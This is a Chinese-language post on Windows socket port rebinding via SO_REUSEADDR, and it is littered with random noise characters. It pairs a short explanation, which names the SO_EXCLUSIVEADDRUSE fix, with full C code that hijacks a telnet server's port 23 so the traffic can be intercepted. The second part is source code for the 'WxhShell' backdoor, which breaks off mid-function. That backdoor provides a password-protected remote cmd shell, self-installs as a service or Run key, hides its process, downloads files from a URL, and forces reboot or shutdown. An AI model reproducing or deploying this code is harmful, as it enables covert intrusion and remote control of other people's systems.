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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L%f$ & s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o%v,6yv jq+:&8!8(e saddr.sin_family = AF_INET; Z
DnAzAR 5K|s]Y; saddr.sin_addr.s_addr = htonl(INADDR_ANY); `,6^eLU )h;zH,DA[3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +9_E+H'?! }-paGM@'Nd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fq0[7Yb \V9);KAOj 这意味着什么?意味着可以进行如下的攻击: -257g; 3$kElq[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bt?)ryu ~;nW+S$o
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [,mcvO; Ht%O9v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \MtdT[* ]w9syz8X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 s_`y"'^ KnYHjJa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z';h5GNd>z $dHD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w7_2JS )"y]_} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A;Uw
b Py#iC#g~ #include 8hvh
xp #include X[o"9O|< #include ps=QVX)YP #include g?!;04 DWORD WINAPI ClientThread(LPVOID lpParam); 7>|p_o`e int main() bl;v^HR0) { u9dL-Nr` WORD wVersionRequested; JPS<e*5 DWORD ret; LY(h>` WSADATA wsaData; *wJ'Z4_5F BOOL val; ij1g2^],4 SOCKADDR_IN saddr; 7.xJ:r| SOCKADDR_IN scaddr; R)qK{wq(1E int err; &E8fd/s=k SOCKET s; +PkN~m` SOCKET sc; F6#U31Q= int caddsize; "_/5{Nc$ HANDLE mt; hdee]qLS DWORD tid; vghn+P8 wVersionRequested = MAKEWORD( 2, 2 ); &8 4Izs/[ err = WSAStartup( wVersionRequested, &wsaData ); [{9&KjI0K if ( err != 0 ) { Q@#Gm9m printf("error!WSAStartup failed!\n"); G3t
4$3| return -1; 0B~Q.tyP } @7<m.?A! saddr.sin_family = AF_INET; >eaK@u-'0 JZrUl^8E //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v4wXa:CJ UHUO9h saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rzgzX saddr.sin_port = htons(23); Zu %oIk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @?"t&h { RlTVx: printf("error!socket failed!\n"); )ur&Mnmm return -1; X+XbIbUuL } nzORG val = TRUE; ecy41y'~: //SO_REUSEADDR选项就是可以实现端口重绑定的 &,@wLy^T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5Ai$1'*p { J'y*>dW printf("error!setsockopt failed!\n"); t9
m],aH return -1; esQRg~aCGy } tc<t%]c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )?PRG= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UQ 'U
4q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R|H_F#eVn} \:wLUGFl5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XG}pp`{o { W'9=st' ret=GetLastError(); }\/f~?tEh printf("error!bind failed!\n"); yw)Ztg) return -1; |1(9_=i' } m=2e1wc listen(s,2); LlG~aGhel while(1) =Z(#j5TGvH { Bh,LJawE caddsize = sizeof(scaddr); tC -H2@ //接受连接请求 da&f0m U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _Uz}z#jt if(sc!=INVALID_SOCKET) CVFsp>+ {
vmXY}Ul mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :j2_Jn4UP if(mt==NULL) VG`A* Vj
{ >zDnJb&"& printf("Thread Creat Failed!\n"); tY=n("=2 break; SbW6O_ } ba } O(E-ox~q CloseHandle(mt); sIJ37;ZA } ZVek`Cc2 closesocket(s); dO[w3\~ WSACleanup(); lC i_G3C return 0; oFRb+H(E } +iPS=?S DWORD WINAPI ClientThread(LPVOID lpParam) ~ Qt$) { cIgicp}U SOCKET ss = (SOCKET)lpParam; N]sX
r SOCKET sc; Ma3Hn unsigned char buf[4096]; dj76YK SOCKADDR_IN saddr; gZs8BKO long num;
Dk fw*Oo DWORD val; TY|]""3f9 DWORD ret; 1xo<V5 //如果是隐藏端口应用的话,可以在此处加一些判断 prY9SQd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]X)EO49 saddr.sin_family = AF_INET; ^$y_~z3o#7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BE}qwP^ saddr.sin_port = htons(23); lA<IcW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W$Bx?}x($ { P( W8XC printf("error!socket failed!\n"); o;JBe"1 return -1; I
-obfyije } jjm-%W@ val = 100; u[oYVpe)IG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &7X0 ;< { >:`Y]6z ret = GetLastError(); LV 94i return -1; ;.h5; `& } R@0ELxzA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QE5
85s5
{ 2'J.$ h3 ret = GetLastError(); -K/' }I return -1; mHox } d}',Bl+u{$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /=\__$l) { !+H=e>Y6 printf("error!socket connect failed!\n"); P"u* bqk closesocket(sc); I=^%l7 closesocket(ss);
)[)-.{q return -1; qD#-q vn } 0p$?-81BJ while(1) ?xX`_l { ^dYLB.'= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MnsnW{VGX //如果是嗅探内容的话,可以再此处进行内容分析和记录 TR@$$RrU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "O|fX\}5 num = recv(ss,buf,4096,0); $(}kau if(num>0) );;UNO21+ send(sc,buf,num,0); Z-H Kdv!d else if(num==0) u6jJf@!ws break; (s{%XB:K num = recv(sc,buf,4096,0); Af0E_ if(num>0) a@,tf'Sr send(ss,buf,num,0); S-yd-MtQp else if(num==0) xMhR;lKY break; YKl!M/
} ,^o^@SI)
closesocket(ss); mXF
pGo5 s closesocket(sc); <z)MV
oa return 0 ; N
&p=4 } Ze Shn
VV]{R' 4'9h^C& ========================================================== sS(^7GARa =GM!M@~,Ab 下边附上一个代码,,WXhSHELL HA"dw2| xYt{= ========================================================== <WBGPzVZE
YQX>)' #include "stdafx.h" D?5W1m]E,s o(~JZik #include <stdio.h> P!YT{} #include <string.h> G';oM;~/| #include <windows.h> ~`_nw5y #include <winsock2.h> .#WF' #include <winsvc.h> ~w[zX4@ #include <urlmon.h> :@b>,{*4zS a9jY^E'|n #pragma comment (lib, "Ws2_32.lib") p7H*Ff` #pragma comment (lib, "urlmon.lib") >Q5E0 !] ^ad>
(W #define MAX_USER 100 // 最大客户端连接数 6o A0a\G' #define BUF_SOCK 200 // sock buffer 9R;s;2$. #define KEY_BUFF 255 // 输入 buffer N}FG%a !FpMO`m #define REBOOT 0 // 重启 4
<]QMA0 #define SHUTDOWN 1 // 关机 xI:;%5{LN <JH0 & #define DEF_PORT 5000 // 监听端口 "l +Jx|h\ @1Zf&'/6 #define REG_LEN 16 // 注册表键长度 'T|.<u@~ #define SVC_LEN 80 // NT服务名长度 XcfTE
m l]v
*h0! // 从dll定义API Rb#Z\e}e- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <U,T*Ql1x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RXx
+rdF0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [>_(q|A6+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )If[pw@j &*)tqQeQf // wxhshell配置信息 BTd'bD~EA struct WSCFG { LK:|~UV? int ws_port; // 监听端口 dEe/\i'r9 char ws_passstr[REG_LEN]; // 口令 bh7 1Zu int ws_autoins; // 安装标记, 1=yes 0=no & vLX char ws_regname[REG_LEN]; // 注册表键名 3?5
~KxOE( char ws_svcname[REG_LEN]; // 服务名 (J^
Tss char ws_svcdisp[SVC_LEN]; // 服务显示名 o!\O) char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]B,S <*h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b0t];Gc%b int ws_downexe; // 下载执行标记, 1=yes 0=no A&t'uY6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" B-&J]H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;_Rx|~!! 1@nR.v"$ }; p6HZ2Q:a +.lO8 // default Wxhshell configuration )uX:f8 struct WSCFG wscfg={DEF_PORT, XIp9=jhSR "xuhuanlingzhe", 1
yzxA( 1, @JEr/yy "Wxhshell", #JLDj(a? "Wxhshell", v"F0$c "WxhShell Service", {YGz=5 ^ "Wrsky Windows CmdShell Service", ?Y hua9 "Please Input Your Password: ", J<`RlDI 1, vy"Lsr3 " http://www.wrsky.com/wxhshell.exe", ;!~;05^iD "Wxhshell.exe" +tV(8h4 }; UxS;m4 o"]eAQ // 消息定义模块 $&e(V6A@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xY~
DMcO? char *msg_ws_prompt="\n\r? for help\n\r#>"; BO9Z"|" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Zi[)(agAT char *msg_ws_ext="\n\rExit."; _ma4 char *msg_ws_end="\n\rQuit."; Y?5yzD: char *msg_ws_boot="\n\rReboot..."; VUnEI oKM char *msg_ws_poff="\n\rShutdown..."; e:,.-Kvzp` char *msg_ws_down="\n\rSave to "; x1}q!)e q;>BltU char *msg_ws_err="\n\rErr!"; d#b{4zF" char *msg_ws_ok="\n\rOK!"; q?^0
o\ q!H3JL char ExeFile[MAX_PATH]; AQiP2`? int nUser = 0; - 5k4vx
N} HANDLE handles[MAX_USER]; OUdeQO? int OsIsNt; Ch.T}% T*{zL SERVICE_STATUS serviceStatus; &iGl)dDr SERVICE_STATUS_HANDLE hServiceStatusHandle; FI/YJ@21 zhCI+u4/qz // 函数声明 "yz\p, int Install(void); 4KM$QHS5{ int Uninstall(void); iP!Y4F int DownloadFile(char *sURL, SOCKET wsh); G/8xS= int Boot(int flag); ?X9
=4Z~w void HideProc(void); 3=<iGX"z int GetOsVer(void); #P4dx'vm int Wxhshell(SOCKET wsl); 7YN)T? void TalkWithClient(void *cs); I+CQ,Zuf int CmdShell(SOCKET sock); XeB>V.<y int StartFromService(void);
A5`7o9 int StartWxhshell(LPSTR lpCmdLine); <eh(~ xXx`a\i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h#n8mtt&i VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;OPCBd r C5WCRg5& // 数据结构和表定义 {fb~`=? SERVICE_TABLE_ENTRY DispatchTable[] = j0%0yb{-^ { TcP1"wc {wscfg.ws_svcname, NTServiceMain}, =Hx~]1 {NULL, NULL} N*SgP@Bt }; /SUV'J) nM; G;
T // 自我安装 28)TXRr- int Install(void) nfJ8Rt
{ k41la? char svExeFile[MAX_PATH]; *M|\B|A. HKEY key; z8j(SI;3 strcpy(svExeFile,ExeFile); qE`=^
rqFs[1wr>R // 如果是win9x系统,修改注册表设为自启动 vl5n%m H>^ if(!OsIsNt) { O7d Fz)$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cyhD%sB[D9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >b["T+ RegCloseKey(key); O9|'8"AF
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { epR~Rlw>2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )PG,K4z RegCloseKey(key); C}h@ El return 0; a`-hLX)~Z } ];I| _fXo% } &V?q d{39 } Ij#a else { 1 :Yt2] !1RV[b.8 // 如果是NT以上系统,安装为系统服务 p\{+l;` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l'W+^ if (schSCManager!=0) lz)"zV { g&Z7h4!\ SC_HANDLE schService = CreateService 4v|/+J6G ( bNROXiX schSCManager, t>wxK
, wscfg.ws_svcname, H{f_:z{{ wscfg.ws_svcdisp, YSV,q@I&1 SERVICE_ALL_ACCESS, j&/.[?K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vaj66nV SERVICE_AUTO_START, Xo@YTol SERVICE_ERROR_NORMAL, B\_u${C svExeFile, UPKi/)C; NULL, A&P1M6Of NULL, 5ZA%,pH>Jq NULL, 1qC:3
;P NULL, ~B&*7Q7 NULL Nr"N\yOA/ ); *|HZ&} if (schService!=0) #eC;3Kq#- { w"v'dU^ CloseServiceHandle(schService); DLYZsWA, CloseServiceHandle(schSCManager); C|f7L>qe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,GX~s5S8 strcat(svExeFile,wscfg.ws_svcname); RW7oL:$dt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e(#IewKp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .gN$N=7< RegCloseKey(key); {TncqA return 0; uXLZtfu{ } *>'2$me= } JYd7@Msfc CloseServiceHandle(schSCManager); 9*KMbd^T } T;4`wB8@ } *e<Eu>fW#& #\;>8 return 1; YvruK:I } ch>Vv"G> hoR=%pC* // 自我卸载 5w3 ZUmjO int Uninstall(void) ?{: D,{+ { C,r`I/; HKEY key; "]m*816' wm=RD98 if(!OsIsNt) { x48'1&m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]iDJ*!I RegDeleteValue(key,wscfg.ws_regname);
gt_XAH RegCloseKey(key);
s8_aL)@f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %)axGbZG; RegDeleteValue(key,wscfg.ws_regname); *AH^%!kVP RegCloseKey(key); C.>
return 0; RxZm/:yuJ. } r!$'!lCR } 9k:W1wgH1 } /zG+] else { gcg>Gjp i_u
{5 U; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2L2 VVO if (schSCManager!=0) mF'-Is { =3|pHc hJ4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &Vt2be* if (schService!=0) &xiOTkqB { ;cI#S%uvpn if(DeleteService(schService)!=0) { i-,D_ CloseServiceHandle(schService); 0/\PZX+ CloseServiceHandle(schSCManager); {pDTy7!Hs return 0; UP;Q= t } / Mod=/e CloseServiceHandle(schService); Dz`k[mI } a}KK{Vqo` CloseServiceHandle(schSCManager); `l/:NF } xQJIM. } x_==Ss )nwZ/&@ return 1; qL|
5-(P } B6bOEPQ H`m:X,6} // 从指定url下载文件 oYz!O]j;a int DownloadFile(char *sURL, SOCKET wsh) tAqA^f*{ { ~BZXt7DE HRESULT hr; 5"JU?e59M char seps[]= "/"; F7{R~mS; char *token; c>ad0xce6 char *file; QsF4Dl char myURL[MAX_PATH]; dhHEE|vrz char myFILE[MAX_PATH]; s`hav J&eAL3"GF strcpy(myURL,sURL); N = LM?(H token=strtok(myURL,seps); X JY5@I. while(token!=NULL) _>Pk8~m { upypxC file=token; P:sAqvH6 token=strtok(NULL,seps); XRa(sXA3 } =<{h^-j;a n]+. GetCurrentDirectory(MAX_PATH,myFILE); L[9OVD strcat(myFILE, "\\"); -~
0] 7Cpl strcat(myFILE, file); rA,CQypo send(wsh,myFILE,strlen(myFILE),0); !@u&{"{` send(wsh,"...",3,0); I:#Ok+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Is13: if(hr==S_OK) !!FR[NK return 0; k6@b| else flG=9~qcGQ return 1; <_9!
c45tmul } 3DW3LYo{ B{p4G`$i1 // 系统电源模块 $A`xhh[ int Boot(int flag) iJ)0Y~ { c3] C:t+ HANDLE hToken; 3 jF|Ic TOKEN_PRIVILEGES tkp; &]< 3~6n 1Bg_FPu if(OsIsNt) { SK+@HnKd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xuUx4,Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tMFsA`ng tkp.PrivilegeCount = 1; V&i2L.{G) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .+yW%~0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j0FW8!!-g if(flag==REBOOT) { 3B{[%#vO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?,07;>& return 0; ]#zZWg
zv } G2]^F Y else { /s|{by`we4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :y#T9R9 return 0; R"+wih } +K^h!d] } E-fr}R} else { LkBZlh_ if(flag==REBOOT) { #~k[ 6YR 0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \iru7'S return 0; /^:2<y8Ha } Q[PK`*2) else { -[DWM2C$K4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MzzKJ;wbC6 return 0; Qz+sT6js- } jl}$HEI5m} } d(7NO;S8 /v#)f-N%zs return 1; aMTFW_w } ffE#^| ]^K;goQv // win9x进程隐藏模块 *HE^1IEl void HideProc(void) L8&D(wh/f { 8>N wCjN 7,'kpyCj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [i7YVwG4 if ( hKernel != NULL ) i#W*' { C\Vg{&' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [2
zt ^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8IGt4UF&? FreeLibrary(hKernel); _1|$P|$P. } /L v1$~ dMvp&M\\' return; nY_?Jq } VWi2(@R^
!tNd\}@ // 获取操作系统版本 T3N"CUk int GetOsVer(void) zO~9zlik { >7b)y OSVERSIONINFO winfo; s0C:m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kl}Xmw{tJ GetVersionEx(&winfo); _xrwu;o0} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,9of(T(~ return 1; cCiI{ else >w|*ei:@S return 0; @r;wobt } 0$HmY2
Men .DguR2KT // 客户端句柄模块 Vz%OV}\ int Wxhshell(SOCKET wsl) \9:wfLF8! { TDNf)Mm SOCKET wsh; '6-$Xq0^E struct sockaddr_in client; o3N] `xD' DWORD myID; \we\0@v N|:'XwL while(nUser<MAX_USER) H?` g!cX { k< j"~S1 int nSize=sizeof(client); x,8<tSW)Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #=,imsW) if(wsh==INVALID_SOCKET) return 1; SO{p ;g nFM@@oA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UMMB0(0D if(handles[nUser]==0) `bG7"o` closesocket(wsh); @ -:]P8 else E
D"!n-Hq nUser++; "Fnq>iR- } }|wv]U~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T~xwo
3
hKBc0 return 0; }< 5F } C~4PE>YtTv %.HJK // 关闭 socket zsXpA0~3s void CloseIt(SOCKET wsh)
..W-76{ { s9)8b$t] closesocket(wsh); LM)`CELsYc nUser--; f{&bOF v ExitThread(0); ?KE$r~dn } OMrc_)he\ $V>yXhTh // 客户端请求句柄 r[txlQI9 void TalkWithClient(void *cs) !>$4]FkV { w:i:~f . )?aaBaN$ SOCKET wsh=(SOCKET)cs; C$yq\C+I char pwd[SVC_LEN]; 1zxq^BI char cmd[KEY_BUFF]; 0CExY9@Wq char chr[1]; ~I=Y{iM int i,j; O(Jj|Z "3CJUr:Q while (nUser < MAX_USER) { (bp9Pj w D=r)) if(wscfg.ws_passstr) { Iah[j,]r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tt_o$D~kg //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =aG xg57 //ZeroMemory(pwd,KEY_BUFF); -yAQ i=0; vH[47Cv G5 while(i<SVC_LEN) { Nw_@A8-r G}d-(X // 设置超时 m#!=3P7T fd_set FdRead; YB( Gk;] struct timeval TimeOut; BU Z
_) FD_ZERO(&FdRead); *Zk>2<^R FD_SET(wsh,&FdRead); &a0r%L()X TimeOut.tv_sec=8; g"VMeW^ TimeOut.tv_usec=0; dl-l"9~; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uQ1@b-e`5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o{:xp r=( b*kfWG-6t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #-VMg+14 pwd =chr[0]; hfWFD, if(chr[0]==0xd || chr[0]==0xa) { .Pndx%X9s pwd=0; Jju#iwb break; r=uN9ro } o{qr!*_3 i++; [Nm4sI11 } Sjj>#}U =8Jfgq9E // 如果是非法用户,关闭 socket M~e0lg8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k%c{ETdE } dUrElXbXd ||7x;2e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H6*^Ga send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H`hnEOyLp xM >W2 while(1) { _gj&$zP ;*TIM%6# ZeroMemory(cmd,KEY_BUFF); 1/+C5Bp* XN=67f$Hw // 自动支持客户端 telnet标准 ,_.I\EY[ j=0; }Db[ 4 while(j<KEY_BUFF) { 2&mGT&HAVA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4%uN|V cmd[j]=chr[0]; ipnV$!z if(chr[0]==0xa || chr[0]==0xd) { HAz By\M{ cmd[j]=0; |077Sf| break; 3rW|kkn } 'NjzgZ~]P j++; 7,qYV} } !^#jwRpeN C@ZK~Y_g // 下载文件 96cJ8I8 if(strstr(cmd,"http://")) { {6;9b-a] send(wsh,msg_ws_down,strlen(msg_ws_down),0); `_I@i]i^ if(DownloadFile(cmd,wsh)) QfM zF send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lGG|9J\ else b
\KL;H/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6k{2 +P } Bs+(L [Z else { bK"SKV NL=|z=q switch(cmd[0]) { H`bSYjgM! +CH},@j // 帮助 K;?,FlH case '?': { <~ad:[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `pf4X/Py break; 6oaazB^L } @bM2{Rh: // 安装 +y7;81ND case 'i': { 6*4's5>?D if(Install()) 0]KraLu"N send(wsh,msg_ws_err,strlen(msg_ws_err),0); E1dD7r\ else ^'CPM6J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xp\/YJOibd break; OMhef,,H } h^,8rd // 卸载 1wzqGmjmt case 'r': { E#J';tUQ if(Uninstall()) Wt)Drv{@ { send(wsh,msg_ws_err,strlen(msg_ws_err),0); _It ,%<3 else _\Q^x)w6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"hYcnC break; }I|u'#n_ } 3&u_A?; // 显示 wxhshell 所在路径 _{t9 x\= case 'p': { ]-oJ[5cQ0v char svExeFile[MAX_PATH]; mK+IEZV<3 strcpy(svExeFile,"\n\r"); {FRAv(,\ strcat(svExeFile,ExeFile); 2"|2a@ send(wsh,svExeFile,strlen(svExeFile),0); p.ANVA@: break; Wcb7
;~K } j?y LDLj // 重启 bfB\h*XO case 'b': { '1,,)U#6E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5w %_$x if(Boot(REBOOT)) U4m9e|/H;z send(wsh,msg_ws_err,strlen(msg_ws_err),0); )1N 54FNO else { 'O5'i\uz closesocket(wsh);
RZM"~ 0 ExitThread(0); Q-ni| } kKD`rfyG\ break; ;^*Unyt[4] } h\plQ[T // 关机 mj|)nOd case 'd': { j4?@(u9;j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q@b|F- if(Boot(SHUTDOWN)) \V9Z#> send(wsh,msg_ws_err,strlen(msg_ws_err),0); O: @}lK+H else { m(], r}) closesocket(wsh); -':Y\:W ExitThread(0); Hzrtlet } [:xiZ break; ~m|Mg9- } KIR'$ 6pn~ // 获取shell M?= ;JJ: case 's': { da1]mb=4 5 CmdShell(wsh); DI!V^M[~u closesocket(wsh); Gpm{m:$L ExitThread(0); q o<&J f break; *x)Ozfe } UzXE_S // 退出 pO8ePc@=D case 'x': { 4w#``UY)' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 ?Y| CloseIt(wsh); XU+<?%u}z break; vG \a1H } SQeRSz8bK4 // 离开 YF+n
b.0. case 'q': { dw.F5?j`b send(wsh,msg_ws_end,strlen(msg_ws_end),0); >A0k 8T closesocket(wsh); ,K:ll4{b WSACleanup();
#gm)dRKm% exit(1); kId
n6 Wx, break; A
AHt218 } piU/& } c/_+o;Bc } M$0u1~K -s 6![eV // 提示信息 aR\\<due if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %0? M?Jf } e</$ s } ,gL9?Wz 1?
FrJ6V return; s7oT G! } *^([ ~[ ',GS#~ // shell模块句柄 4t)%<4 int CmdShell(SOCKET sock) %pXAeeSY`; { zG e'*Qei STARTUPINFO si; /r12h| ZeroMemory(&si,sizeof(si)); v)2M1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K}=|.sE9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #2`D`>7456 PROCESS_INFORMATION ProcessInfo; *D'$"@w3 char cmdline[]="cmd"; q~o,WZG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +za8=`2o return 0; XQ4G) } Z}|(FRVk %*#n d // 自身启动模式 ;<0LXYL; int StartFromService(void) 'R&uD~Q { Yq(G;mjM typedef struct /m!Cc/Hv { )[1)$-Ru DWORD ExitStatus; f]7M'sy | DWORD PebBaseAddress; q5>v'ZSo DWORD AffinityMask; F@R1:M9* DWORD BasePriority; 3s"0SLS4 ULONG UniqueProcessId; PvGDTYcKp ULONG InheritedFromUniqueProcessId; Jvun?J
m } PROCESS_BASIC_INFORMATION; tDr#H!2
3 K-&V,MI PROCNTQSIP NtQueryInformationProcess; ZNYH#mJX* p$ bnK] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [frq
